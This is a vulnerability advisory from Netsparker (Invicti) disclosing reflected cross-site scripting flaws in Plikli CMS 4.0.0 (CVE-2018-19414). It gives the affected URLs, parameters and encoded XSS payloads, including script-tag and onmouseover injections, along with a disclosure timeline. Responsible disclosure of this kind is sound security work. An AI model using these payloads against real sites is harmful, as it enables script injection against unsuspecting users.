Information
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Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Homepage: https://www.plikli.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-19414
Invicti Advisory Reference: NS-18-030

Technical Details
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Cross-site Scripting

URL  : http://NSAppTest/plikli/groups.php?view=search&keyword='+netsparker(0x012CB7)+'  
Proof URL : http://NSAppTest/plikli/groups.php?view=search&keyword='+alert(0x012CB7)+'  
Parameter Name : keyword
Parameter Type  : GET
Attack Pattern  : %27%2bnetsparker(0x012CB7)%2b%27  

URL  : http://NSAppTest/plikli/login.php?return=/ScanApp/plikli/  
Parameter Name  : username
Parameter Type  : POST
Attack Pattern  : x%22+onmouseover%3dnetsparker(0x011C31)+x%3d%22  

URL  : http://NSAppTest/plikli/search.php?search=&scomments=1&stags=1&suser=1&date=</title><scRipt>netsparker(0x01608A)</scRipt>&date_to=&adv=1&advancesearch=Search &slink=3&scategory=3&sgroup=3&status=all  
Parameter Name  : date
Parameter Type  : GET
Attack Pattern  : %3c%2ftitle%3e%3cscRipt%3enetsparker(0x01608A)%3c%2fscRipt%3e

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th June 2018 - First Contact
- Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.